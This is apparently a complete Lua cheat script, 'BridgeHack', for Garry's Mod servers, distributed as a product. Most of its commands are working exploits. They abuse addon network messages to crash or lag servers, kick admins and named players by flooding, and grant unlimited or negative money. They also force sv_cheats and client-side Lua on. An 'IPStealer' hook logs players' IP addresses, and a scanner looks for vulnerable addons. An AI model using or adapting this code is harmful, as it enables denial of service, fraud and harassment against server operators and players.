· 6 years ago · Dec 09, 2019, 02:22 AM
1local dversion=1.3
2
3local dlversion ="v1.3"
4
5local outdated = 0
6
7local devbuild = 0
8
9local pastecheck = 0 // 0 = Bueno 1 = No Bueno
10
11local crash = 0
12
13local ulx_spam=0
14
15local ply = LocalPlayer()
16
17
18
19// INSTALIZATION
20
21// FUNCTIONS
22
23
24
25surface.CreateFont( "PopupHFont", {
26
27 font = "Segoe UI Light",
28
29 size = 50,
30
31 weight = 1000,
32
33} )
34
35
36
37surface.CreateFont("HeaderFont", {
38
39 font = "Segoe UI Semilight",
40
41 size = 22,
42
43 weight = 300
44
45})
46
47
48
49surface.CreateFont("PopupFont", {
50
51 font = "Segoe UI Light",
52
53 size = 21,
54
55 weight = 300
56
57})
58
59
60
61surface.CreateFont("HeadingFont",{
62
63 font = "ChatFont",
64
65 size = 20,
66
67 weight = 500,
68
69 antialias = true,
70
71})
72
73
74
75function SoundClick()
76
77 if GetConVarNumber("bh_playsound") > 0 then
78
79 surface.PlaySound("buttons/lightswitch2.wav")
80
81 else
82
83end end
84
85
86
87function consoleP(message)
88
89 queries = queries + 1
90
91 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
92
93end
94
95
96
97function SoundPop()
98
99 --buttons/blip1.wav
100
101 --buttons/button14.wav
102
103 --buttons/lightswitch2.wav
104
105 if GetConVarNumber("bh_playsound") > 0 then
106
107 surface.PlaySound("buttons/button14.wav")
108
109 else
110
111end end
112
113
114
115local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
116
117
118
119function HitBitches()
120
121 net.Start("hitcomplete")
122
123 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
124
125 net.SendToServer()
126
127end
128
129concommand.Add("bh_hithack", HitBitches)
130
131
132
133function clearcon()
134
135 for i=0, 100 do
136
137 print(" ")
138
139end end
140
141
142
143function cleardchat()
144
145 for i=0, 100 do
146
147 chat.AddText(" ")
148
149 end end
150
151
152
153--[[
154
155 Woo, Coloured chat messages!
156
157]]--
158
159function chatP(message)
160
161 queries = queries + 1
162
163 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
164
165 --status(message)
166
167end
168
169
170
171function chatPR(message)
172
173 queries = queries + 1
174
175 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
176
177 --status(message)
178
179end
180
181
182
183function chatPG(message)
184
185 queries = queries + 1
186
187 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
188
189 --status(message)
190
191end
192
193queries=1;
194
195http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
196
197 serverlist = body
198
199end,function( error )
200
201 chatP("Error accessing PasteBin!")
202
203end)
204
205
206
207http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
208
209 changelogs = body
210
211end,function( error )
212
213 chatP("Error accessing PasteBin!")
214
215end)
216
217
218
219function printchange()
220
221 consoleP(""..changelogs.."")
222
223end
224
225concommand.Add("bh_logs", printchange)
226
227
228
229--[[
230
231
232
233 PASTEBIN
234
235
236
237 CHECK
238
239
240
241
242
243]]--
244
245local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
246
247
248
249function CheckPastebin()
250
251 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
252
253 bintext = body
254
255 local stringbin = ( tostring( bintext ))
256
257 if (StringM8 == stringbin) then
258
259 consoleP("Connection to PasteBin is good!")
260
261 else
262
263 pastecheck = 1
264
265 chatP("Connection to PasteBin is broken!")
266
267 chatP("BridgeHack needs PasteBin to properly work!")
268
269 end end) end
270
271--[[
272
273~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
274
275 --]]
276
277function VersionCheck()
278
279 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
280
281 local findpos = string.find( HTML, "CVERSION =", 0, false )
282
283 if (findpos) then
284
285 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
286
287 if (pastecheck == 1) then
288
289 chatP("Can't check for newer versions because PasteBin is unaccessable!")
290
291 elseif ( version > dversion ) then
292
293 outdated = 1
294
295 chatP("Your version is out of date!" )
296
297 elseif ( version == dversion ) then
298
299 chatP("Your version is up to date." )
300
301 elseif (version < dversion) then
302
303 devbuild = 1
304
305 else
306
307 chatP("Error checking versions!")
308
309 end end end) end
310
311VersionCheck()
312
313
314
315/*
316
317 About Menu
318
319
320
321 Woo, learn about us.
322
323
324
325*/
326
327function AboutMenu()
328
329 local frame = vgui.Create("DFrame")
330
331 frame:SetSize( ScrW(), ScrH() )
332
333 frame:SetPos( 0,0 )
334
335 frame:SetVisible( true )
336
337 frame:SetDraggable( false )
338
339 frame:MakePopup()
340
341 frame:ShowCloseButton( false )
342
343 frame.Paint = function(s,w,h)
344
345 surface.SetDrawColor( Color(0,0,0,200) )
346
347 surface.DrawRect( 0,0, w,h )
348
349 surface.SetDrawColor( Color(0,230,255,150) )
350
351 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
352
353 surface.SetTextColor(255,255,255)
354
355 surface.SetFont("PopupHFont")
356
357 surface.SetTextPos( w/5 , ScrH()/10 )
358
359 surface.DrawText("About BridgeHack")
360
361 surface.SetFont("PopupFont")
362
363 surface.SetTextPos( w/4, h/2.5)
364
365 surface.DrawText("BridgeHack, made by the Hax R' Us team.")
366
367 surface.SetTextPos( w/4, h/2.4 )
368
369 surface.DrawText("If we haven't said it enough, we'll say it again...")
370
371 surface.SetTextPos( w/4, h/2.3 )
372
373 surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
374
375 surface.SetTextPos( w/4, h/2.2 )
376
377 surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
378
379 surface.SetTextPos( w/4, h/2.1 )
380
381 surface.DrawText("haxrus1337@gmail.com")
382
383 surface.SetTextPos( w/4, h/2.0 )
384
385 surface.DrawText("Tell us what you think of the menu.")
386
387 end
388
389
390
391 button = vgui.Create("DButton", frame)
392
393 button:SetSize(110,32.5)
394
395 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
396
397 button:SetText("")
398
399 button.Paint = function(s,w,h)
400
401 surface.SetDrawColor( Color(255,255,255) )
402
403 surface.DrawRect( 0,0, w,h )
404
405 surface.SetDrawColor( Color(13,136,69) )
406
407 surface.DrawRect( 0+3,0+3, w-6,h-6 )
408
409 surface.SetTextColor(255,255,255)
410
411 surface.SetFont("PopupFont")
412
413 surface.SetTextPos(30.5,5.5)
414
415 surface.DrawText( "Alright!" )
416
417 end
418
419 button.DoClick = function(s,w,h)
420
421 frame:Close()
422
423 SoundClick()
424
425 end end
426
427/*
428
429
430
431 GUYS ITS FINALLY HERE!!!
432
433
434
435
436
437
438
439 BridgeHack WELCOME SCREEN!!!!!
440
441
442
443
444
445*/
446
447function WelcomeScreen()
448
449 local Popup = vgui.Create("DFrame")
450
451 Popup:SetSize( ScrW(), ScrH() )
452
453 Popup:SetPos( 0,0 )
454
455 Popup:SetVisible( true )
456
457 Popup:SetDraggable( false )
458
459 Popup:SetTitle( "" )
460
461 Popup:MakePopup()
462
463 Popup:ShowCloseButton( false )
464
465
466
467 Popup.Paint = function(s,w,h)
468
469 surface.SetDrawColor( Color(0,0,0,200) )
470
471 surface.DrawRect( 0,0, w,h )
472
473 surface.SetDrawColor( Color(13,136,69) )
474
475 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
476
477 surface.SetTextColor(255,255,255)
478
479 surface.SetTextPos(w/5.10, h/2.40)
480
481 if outdated == 0 then
482
483 surface.SetFont("PopupHFont")
484
485 surface.SetTextPos(w/5.10, h/3)
486
487 surface.DrawText("BridgeHack")
488
489 surface.SetFont("PopupFont")
490
491 surface.SetTextPos(w/5.10, h/2.50)
492
493 surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
494
495 surface.SetTextPos(w/5.10, h/2.40)
496
497 surface.DrawText( "Your version "..dlversion.." is up to date!" )
498
499 surface.SetTextPos(w/5.10, h/2.30)
500
501 surface.DrawText("Please, do not leak our menu.")
502
503 surface.SetTextPos(w/5.10, h/2.20)
504
505 surface.DrawText ( "We worked very hard on creating it." )
506
507 elseif outdated == 1 then
508
509 surface.SetFont("PopupFont")
510
511 surface.SetTextPos(w/5.10, h/2.50)
512
513 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
514
515 else
516
517 surface.SetFont("PopupHFont")
518
519 surface.SetTextPos(10, 100)
520
521 surface.DrawText( "BridgeHack Version "..dlversion.."")
522
523 surface.SetFont("PopupFont")
524
525 surface.SetTextPos(w/5.10, h/2.50)
526
527 surface.DrawText( "Error" )
528
529 end end
530
531 button = vgui.Create("DButton", Popup)
532
533 button:SetSize(110,32.5)
534
535 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
536
537 button:SetText("")
538
539 button.Paint = function(s,w,h)
540
541 surface.SetDrawColor( Color(255,255,255) )
542
543 surface.DrawRect( 0,0, w,h )
544
545 surface.SetDrawColor( Color(13,136,69) )
546
547 surface.DrawRect( 0+3,0+3, w-6,h-6 )
548
549 surface.SetTextColor(255,255,255)
550
551 surface.SetFont("PopupFont")
552
553 surface.SetTextPos(30.5,5.5)
554
555 surface.DrawText( "Alright!" )
556
557 end
558
559
560
561 button.DoClick = function(s,w,h)
562
563 Popup:Close()
564
565 SoundClick()
566
567 end
568
569
570
571 logbutton = vgui.Create("DButton", Popup)
572
573 logbutton:SetSize(110,32.5)
574
575 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
576
577 logbutton:SetText("")
578
579 logbutton.Paint = function(s,w,h)
580
581 surface.SetDrawColor( Color(255,255,255) )
582
583 surface.DrawRect( 0,0, w,h )
584
585 surface.SetDrawColor( Color(13,170,181) )
586
587 surface.DrawRect( 0+3,0+3, w-6,h-6 )
588
589 surface.SetTextColor(255,255,255)
590
591 surface.SetFont("PopupFont")
592
593 surface.SetTextPos(10,5.5)
594
595 surface.DrawText( "Change Logs" )
596
597 end
598
599
600
601 logbutton.DoClick = function(s,w,h)
602
603 Popup:Close()
604
605 ChangeLogMenu()
606
607 SoundClick()
608
609 end end
610
611concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
612
613
614
615-- Version Menu It Looks PURDY
616
617
618
619function ChangeLogMenu()
620
621 local Panel = vgui.Create( "DFrame" )
622
623 Panel:SetSize( 800, 600 )
624
625 Panel:SetPos( ScrW(),ScrH() )
626
627 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
628
629 Panel:SetTitle( "" )
630
631 Panel:MakePopup()
632
633 Panel:ShowCloseButton( false )
634
635 function Panel:Paint( w, h )
636
637 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
638
639 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
640
641 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
642
643 end
644
645
646
647 local Button = vgui.Create("DButton", Panel)
648
649 Button:SetPos( 740, 10 )
650
651 Button:SetSize( 50, 25 )
652
653 Button:SetText( "" )
654
655 function Button:Paint( w, h )
656
657 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
658
659 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
660
661 end
662
663 Button.DoClick = function()
664
665 Panel:Close()
666
667 end
668
669
670
671 local Label = vgui.Create( "DLabel", Panel )
672
673 Label:SetColor( Color( 255, 255, 255, 255 ) )
674
675 Label:SetFont( "DermaLarge" )
676
677
678
679 if outdated == 1 then
680
681 Label:SetText( "Your version " ..dlversion.." is outdated!" )
682
683 Label:SetTextColor( Color( 255,0,0 ) )
684
685 elseif outdated == 0 then
686
687 Label:SetText( "Your version "..dlversion.." is up to date!" )
688
689 Label:SetTextColor( Color( 0,255,0 ) )
690
691 else
692
693 Label:SetText("Error receving version information!")
694
695 end
696
697
698
699 Label:SizeToContents()
700
701 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
702
703
704
705 local HTML = vgui.Create( "HTML", Panel )
706
707 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
708
709 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
710
711 HTML:SetPos( 25, 100 )
712
713 HTML.Paint = function()
714
715 surface.SetDrawColor( Color( 160, 160, 160) )
716
717 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
718
719 end end
720
721/*
722
723
724
725
726
727 END MENU
728
729
730
731
732
733*/
734
735local randomvar = math.Rand(0,9999999)
736
737local BridgeHack = {}
738
739BridgeHack.RandomVar = randomvar
740
741local sweg = LocalPlayer():GetEyeTrace().Entity
742
743local ply = LocalPlayer()
744
745ply:ConCommand("bh_welcome")
746
747timer.Destroy("changecolor")
748
749
750
751queries=1;
752
753function status(statu)-- Made for debugging things.
754
755 queries = queries + 1
756
757 if GetConVarNumber("bh_showhud") == 1 then
758
759 hook.Add( "HUDPaint", "drawcurrent", function()
760
761 surface.SetFont( "BudgetLabel" )
762
763 surface.SetTextColor( 255,255,255 )
764
765 surface.SetTextPos( 25, 25 )
766
767 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
768
769 end) end
770
771
772
773 if GetConVarNumber("bh_chat_status") == 1 then
774
775 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
776
777 end end
778
779
780
781function Debug(message)
782
783 queries = queries + 1
784
785 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
786
787end
788
789
790
791local function CreateCvar(cvar, value)
792
793 CreateClientConVar(cvar, value)
794
795 consoleP("CVAR: " .. cvar .. " set to " .. value)
796
797end
798
799
800
801local function ResetCvar(cvar, value)
802
803 ply:ConCommand("" .. cvar .. " " .. value)
804
805 Debug("CVAR: " .. cvar .. " reset to " .. value)
806
807end
808
809
810
811CheckPastebin()
812
813CreateCvar("bh_notify", 1)
814
815CreateCvar("bh_ulxgag", 1, true, false)
816
817CreateCvar("bh_playsound",1)
818
819CreateCvar("bh_hitmenuammount",0)
820
821CreateCvar("bh_menu_effects", 1)
822
823CreateCvar("bh_firstload_correct", 1)
824
825CreateCvar("bh_chat_status", 0)
826
827CreateCvar("bh_cheats_enabled_on_start", 0)
828
829CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
830
831CreateCvar("bh_showhud", 0)
832
833CreateCvar("bh_esp",0)
834
835CreateCvar("bh_esp_box",1)
836
837CreateCvar("bh_debug",0)
838
839CreateCvar("bh_esp_hp",1)
840
841CreateCvar("bh_esp_rank",1)
842
843CreateCvar("bh_renderdistance_enable",0)
844
845CreateCvar("bh_esp_rdistance",2000)
846
847CreateCvar("bh_esp_infocolor_r",255)
848
849CreateCvar("bh_esp_infocolor_g",0)
850
851CreateCvar("bh_esp_infocolor_b",255)
852
853CreateCvar("bh_ratm_money2give",100000)
854
855
856
857
858
859if GetConVarNumber("bh_firstload_correct") == 1 then
860
861 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
862
863 ply:ConCommand("bh_firstload_correct 0")
864
865 chatP("Welcome to the world of BridgeHack.")
866
867
868
869else
870
871end
872
873
874
875if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
876
877 ply:ConCommand("incrementvar sv_cheats 0 1 1")
878
879 status("Enabled sv_cheats to 1")
880
881else
882
883end
884
885if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
886
887
888
889 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
890
891 status("Enabled sv_allowcslua to 1")
892
893else
894
895end
896
897
898
899// FIXES
900
901local oChatAddText = chat.AddText
902
903
904
905function chat.AddText( ... )
906
907 local cArgs = { ... };
908
909
910
911
912
913 for k, v in pairs( cArgs ) do
914
915 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
916
917 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
918
919 return false;
920
921 else
922
923 end
924
925 end
926
927 return oChatAddText( ... );
928
929end
930
931
932
933---------------------------------------// Global timers //---------------------------------------
934
935if GetConVarNumber("bh_showhud") == 1 then
936
937 hook.Add( "HUDPaint", "drawcursor", function()
938
939 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
940
941 surface.SetDrawColor(c)
942
943 surface.DrawLine(x - 10, y, x - 5, y)
944
945 surface.DrawLine(x, y + 5, x, y + 10)
946
947 surface.DrawLine(x + 10, y, x + 5, y)
948
949 end)
950
951
952
953 hook.Add( "HUDPaint", "drawabout", function()
954
955 surface.SetFont( "BudgetLabel" )
956
957 surface.SetTextColor( 46, 204, 113 )
958
959 surface.SetTextPos( 25, 15 )
960
961 surface.DrawText( "BridgeHack " .. dlversion )
962
963 end)
964
965
966
967 if GetConVarNumber("bh_debug") > 0 then
968
969 if system.IsWindows( ) == true then
970
971 hook.Add( "HUDPaint", "drawdev1", function()
972
973 surface.SetFont( "BudgetLabel" )
974
975 surface.SetTextColor( 231, 76, 60 )
976
977 surface.SetTextPos( 25, 47 )
978
979 surface.DrawText( "[] Server Operating System: Windows" )
980
981 end)
982
983 end
984
985
986
987 if system.IsLinux( ) == true then
988
989 hook.Add( "HUDPaint", "drawdev2", function()
990
991 surface.SetFont( "BudgetLabel" )
992
993 surface.SetTextColor( 231, 76, 60 )
994
995 surface.SetTextPos( 25, 47 )
996
997 surface.DrawText( "[] Server Operating System: Linux" )
998
999 end)
1000
1001 end
1002
1003
1004
1005 if system.IsOSX( ) == true then
1006
1007 hook.Add( "HUDPaint", "drawdev3", function()
1008
1009 surface.SetFont( "BudgetLabel" )
1010
1011 surface.SetTextColor( 231, 76, 60 )
1012
1013 surface.SetTextPos( 25, 47 )
1014
1015 surface.DrawText( "[] Server Operating System: OSX")
1016
1017 end)
1018
1019 end
1020
1021
1022
1023 hook.Add( "HUDPaint", "drawdev4", function()
1024
1025 surface.SetFont( "BudgetLabel" )
1026
1027 surface.SetTextColor( 231, 76, 60 )
1028
1029 surface.SetTextPos( 25, 47 )
1030
1031 surface.DrawText( "[] Server Operating System: Windows" )
1032
1033 end)
1034
1035
1036
1037 hook.Add( "HUDPaint", "drawdev5", function()
1038
1039 surface.SetFont( "BudgetLabel" )
1040
1041 surface.SetTextColor( 231, 76, 60 )
1042
1043 surface.SetTextPos( 25, 57 )
1044
1045 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
1046
1047 end)
1048
1049
1050
1051 hook.Add( "HUDPaint", "drawdev6", function()
1052
1053 surface.SetFont( "BudgetLabel" )
1054
1055 surface.SetTextColor( 231, 76, 60 )
1056
1057 surface.SetTextPos( 25, 67 )
1058
1059 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
1060
1061 end)
1062
1063
1064
1065 end
1066
1067end
1068
1069
1070
1071status("Starting")
1072
1073status("BridgeHack Loaded")
1074
1075
1076
1077for k,v in pairs(player.GetAll()) do
1078
1079
1080
1081 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1082
1083 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
1084
1085 end
1086
1087consoleP("BridgeHack, by HaxRUs")
1088
1089consoleP(dlversion)
1090
1091
1092
1093// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
1094
1095// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
1096
1097
1098
1099concommand.Add("bh_hitmanxcrash", function ( ply )
1100
1101for i=0,300 do
1102
1103for k,v in pairs(player.GetAll()) do
1104
1105net.Start( "SendMoney" )
1106
1107net.WriteEntity( v )
1108
1109net.WriteEntity( v )
1110
1111net.WriteEntity( v )
1112
1113net.WriteString( "-100000000000000000000000000000000000000000" )
1114
1115net.SendToServer()
1116
1117
1118
1119end end end)
1120
1121
1122
1123concommand.Add("bh_hitmanxinfa", function ( ply )
1124
1125for k,v in pairs(player.GetAll()) do
1126
1127net.Start( "SendMoney" )
1128
1129net.WriteEntity( v )
1130
1131net.WriteEntity( v )
1132
1133net.WriteEntity( v )
1134
1135net.WriteString( "-100000000000000000000000000000000000000000" )
1136
1137net.SendToServer()
1138
1139
1140
1141end end)
1142
1143
1144
1145concommand.Add("bh_hitmancrash",function()
1146
1147 for i=0,5000 do
1148
1149 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
1150
1151 end
1152
1153
1154
1155end)
1156
1157
1158
1159concommand.Add("bh_ulxgag",function()
1160
1161 if(ulx and ulx.gagUser) then
1162
1163 if GetConVarNumber("bh_ulxgag") == 1 then
1164
1165 ulx.gagUser(LocalPlayer(),false)
1166
1167 else
1168
1169 end
1170
1171 else
1172
1173 end
1174
1175
1176
1177end)
1178
1179
1180
1181concommand.Add("bh_antiaim",function()
1182
1183 hook.Add("CreateMove",function(cmd, u)
1184
1185 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
1186
1187 local aa = cmd:GetViewAngles()
1188
1189 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
1190
1191end)
1192
1193
1194
1195end)
1196
1197
1198
1199
1200
1201concommand.Add("bh_infinite_all",function()
1202
1203 clearcon()
1204
1205 cleardchat()
1206
1207 chatP("Giving money, He he")
1208
1209for k,v in pairs(player.GetAll()) do
1210
1211net.Start( "BailOut" )
1212
1213 net.WriteEntity( v )
1214
1215 net.WriteEntity( v )
1216
1217 net.WriteFloat( -infinite )
1218
1219 net.SendToServer()
1220
1221 end
1222
1223
1224
1225end)
1226
1227
1228
1229concommand.Add("bh_ipsteal",function()
1230
1231hook.Add("PlayerConnect", "IPStealer", function(name, ip)
1232
1233 file.Append("ips.txt", name .. " - " .. ip .. "\n")
1234
1235end)
1236
1237
1238
1239end)
1240
1241
1242
1243local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
1244
1245
1246
1247local function nlrs()
1248
1249 if nlr:GetBool() then
1250
1251 for k,v in pairs(player.GetAll())do
1252
1253 if v != LocalPlayer() then
1254
1255 net.Start("NLR.ActionPlayer")
1256
1257 net.WriteEntity(v)
1258
1259 net.SendToServer()
1260
1261 end
1262
1263 end
1264
1265 end
1266
1267 end
1268
1269timer.Create("nlrs", 4,0,nlrs)
1270
1271
1272
1273LastTime = CurTime()
1274
1275
1276
1277function drawdatopscreen()
1278
1279 if GetConVarNumber("bh_notify") > 0 then
1280
1281 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
1282
1283 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
1284
1285 if sweg == 1 then
1286
1287 LastTime = CurTime()
1288
1289 end
1290
1291 draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
1292
1293 end
1294
1295end
1296
1297hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
1298
1299
1300
1301concommand.Add("bh_tp_spawn",function()
1302
1303 chatP("Teleported to spawn!")
1304
1305 consoleP("Teleported to spawn!")
1306
1307 status("Teleported to spawn!")
1308
1309 net.Start("DarkRP_Kun_ForceSpawn")
1310
1311 net.SendToServer()
1312
1313
1314
1315end)
1316
1317
1318
1319concommand.Add("bh_check",function()
1320
1321clearcon()
1322
1323cleardchat()
1324
1325chatP("Checking for exploitable addons...")
1326
1327if HIT then
1328
1329 chatPG("Hitman X | Found")
1330
1331else
1332
1333 chatPR("Hitman X | Not Found")
1334
1335end
1336
1337if HitMenu then
1338
1339 chatPG("Hit Menu | Found")
1340
1341else
1342
1343 chatPR("Hit Menu | Not Found")
1344
1345end
1346
1347if BAIL then
1348
1349 chatPG("BailNPC | Found")
1350
1351else
1352
1353 chatPR("BailNPC | Not Found")
1354
1355end
1356
1357if dLogs then
1358
1359 chatPG("DLOGS | Found")
1360
1361else
1362
1363 chatPR("DLOGS | Not Found")
1364
1365end
1366
1367if ChanNum then
1368
1369 chatPG("MXRadio| Found")
1370
1371else
1372
1373 chatPR("MXRadio | Not Found")
1374
1375end
1376
1377if VC_Menu_Info_Panel_Build then
1378
1379 chatPG("VCMD | Found")
1380
1381else
1382
1383 chatPR("VCMD | Not Found")
1384
1385end
1386
1387if MDE then
1388
1389 chatPG("MDE | Found")
1390
1391else
1392
1393 chatPR("MDE | Not Found")
1394
1395end
1396
1397if NLR then
1398
1399 chatPG("NLR | Found")
1400
1401else
1402
1403 chatPR("NLR | Not Found")
1404
1405end
1406
1407if Warnings_for_kick then
1408
1409 chatPG("ULX Extended | Found")
1410
1411else
1412
1413 chatPR("ULX Extended | Not Found")
1414
1415end
1416
1417
1418
1419end)
1420
1421
1422
1423function reloadeddunkalladmins()
1424
1425clearcon()
1426
1427chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
1428
1429timer.Create( "heymnangng", 3, 0, function()
1430
1431for k,v in ipairs(player.GetAll()) do
1432
1433if( v:GetUserGroup() != "user" ) then
1434
1435if v:Nick() != "Gam" then
1436
1437for i=0, 700 do
1438
1439net.Start( "GetCar" )
1440
1441net.WriteEntity(v)
1442
1443net.WriteEntity(v)
1444
1445net.SendToServer()
1446
1447end
1448
1449chatP('Kicked: '.. v:Nick().. "!")
1450
1451end end end end)end
1452
1453concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
1454
1455
1456
1457function dloglag()
1458
1459clearcon()
1460
1461print("Lagging server.")
1462
1463clearcon()
1464
1465print("Lagging server..")
1466
1467clearcon()
1468
1469print("Lagging server...")
1470
1471timer.Create( "dlogsisfucked", 3, 0, function()
1472
1473for i=0, 7000 do
1474
1475local tosend = {
1476
1477 cmd="+forward",
1478
1479 args=" "
1480
1481
1482
1483 }
1484
1485 net.Start('dLogsGetCommand')
1486
1487 net.WriteTable(tosend)
1488
1489 net.SendToServer()
1490
1491
1492
1493end end) end
1494
1495
1496
1497concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
1498
1499concommand.Add( "bh_dlogs_lag_off", function()
1500
1501 clearcon()
1502
1503 consoleP("Stopping the lag...")
1504
1505 chatP("Stopping the lag...")
1506
1507 timer.Destroy("dlogisfucked")
1508
1509end)
1510
1511
1512
1513concommand.Add("bh_admins", function()
1514
1515clearcon()
1516
1517chatP("Listing non-players..")
1518
1519chatP("Check console.")
1520
1521consoleP("============= ULX | Custom admin mode RANKS ============")
1522
1523for k,v in pairs(player.GetAll()) do
1524
1525 if( v:GetUserGroup() != "user" ) then
1526
1527 print(v:Nick().. " | ".. v:GetUserGroup())
1528
1529 end
1530
1531end
1532
1533consoleP("========================================================")
1534
1535end)
1536
1537
1538
1539local Spammer = CreateClientConVar("bh_advert", "0", true, false)
1540
1541
1542
1543local function Spam()
1544
1545 if Spammer:GetBool() then
1546
1547 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
1548
1549 end end
1550
1551timer.Create("Spam", 1.5,0,Spam)
1552
1553
1554
1555local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
1556
1557function kickdaplayer()
1558
1559timer.Create( "heymnangng2", 3, 0, function()
1560
1561for k,v in ipairs(player.GetAll()) do
1562
1563if v:Nick() == GetConVar("g_mx_playername") then
1564
1565clearcon()
1566
1567print("Kicking: ")
1568
1569print(v:Nick())
1570
1571for i=0, 700 do
1572
1573net.Start( "GetCar" )
1574
1575net.WriteEntity(v)
1576
1577net.WriteEntity(v)
1578
1579net.SendToServer()
1580
1581end
1582
1583chatP("Kicked ".. v:Nick())
1584
1585consoleP("Kicked ".. v:Nick())
1586
1587end end end) end
1588
1589concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
1590
1591
1592
1593concommand.Add("Bh_clearcon",function()
1594
1595 clearcon()
1596
1597
1598
1599end)
1600
1601
1602
1603concommand.Add("Bh_clearchat",function()
1604
1605 cleardchat()
1606
1607
1608
1609end)
1610
1611
1612
1613
1614
1615concommand.Add("bh_3dcardealer_spamstore",function()
1616
1617 chatP("You better be looking at a car")
1618
1619 for i=0,100 do
1620
1621 clearcon()
1622
1623 chatP("Spamming store... ".."["..i.."]")
1624
1625 net.Start( "RXCAR_Shop_Sell_C2S" )
1626
1627 net.WriteTable({EAA=sweg, CDAA})
1628
1629 net.SendToServer()
1630
1631 end
1632
1633
1634
1635end)
1636
1637
1638
1639concommand.Add("bh_serverlist",function()
1640
1641 status("Printing lise to console...")
1642
1643 chatP("Check console.")
1644
1645 clearcon()
1646
1647 consoleP(""..serverlist.."")
1648
1649 status("Complete")
1650
1651
1652
1653end)
1654
1655
1656
1657function CheckAE()
1658
1659
1660
1661 if requestTables then
1662
1663 print("ae found, bh_ae will work")
1664
1665 chatP("AE was found, bh_ae will work.")
1666
1667 else
1668
1669 chatP("AE was not found, bh_ae will not work.")
1670
1671 end end
1672
